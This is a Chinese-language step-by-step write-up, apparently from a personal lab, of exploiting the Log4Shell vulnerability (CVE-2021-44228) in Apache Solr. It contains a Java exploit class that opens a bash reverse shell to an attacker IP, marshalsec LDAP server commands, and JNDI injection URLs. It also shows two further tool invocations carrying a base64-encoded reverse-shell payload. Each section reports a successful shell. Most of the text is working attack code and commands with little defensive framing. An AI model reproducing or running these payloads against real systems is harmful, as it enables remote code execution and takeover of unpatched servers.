CVE-2021-44228
0x00 漏洞发现
![image-20240214160156423](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214160156423.png)
发现这个,然后尝试验证是否存在漏洞
![image-20240214160344481](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214160344481.png)
1
| http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://9xovk0.dnslog.cn}
|
指定ip 端口
![image-20240214161647753](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214161647753.png)
![image-20240214161640213](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214161640213.png)
发现已经被解析
尝试测试java 版本
![image-20240214161857301](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214161857301.png)
0x01
发现可以使用jndi 注入的方式进行利用
使用攻击机监听端口
![image-20240214162324084](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214162324084.png)
![image-20240214162034629](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214162034629.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.Runtime; import java.lang.Process;
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.79.138/19999 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
|
使用修改为自己的ip和端口
![image-20240214162154247](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214162154247.png)
编译对应的java 文件为class 文件,然后开启http服务
![image-20240214162238290](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214162238290.png)
然后开启ldap 服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://120.27.61.239:8000/#Exploit" 9999
|
![image-20240214162440448](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214162440448.png)
0x02
尝试让受害者访问并且加载
1
| http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Exploit}
|
![image-20240214163130015](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214163130015.png)
反弹成功
0x03
尝试其他方法
也就是生成payload 的方式不一样,本质都是一样的
1
| java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.79.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
|
![image-20240214164156617](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214164156617.png)
这个方式就是少了一个手动开启http的过程
注意这个是Object
1
| http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Object}
|
![image-20240214164233522](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214164233522.png)
0x04
使用专门的工具进行利用,本质也是开启开启一个ldap服务而已
1
| java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.79.1
|
![image-20240214164642320](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214164642320.png)
![image-20240214170011595](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/log4j2%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/image-20240214170011595.png)
也是成功的反弹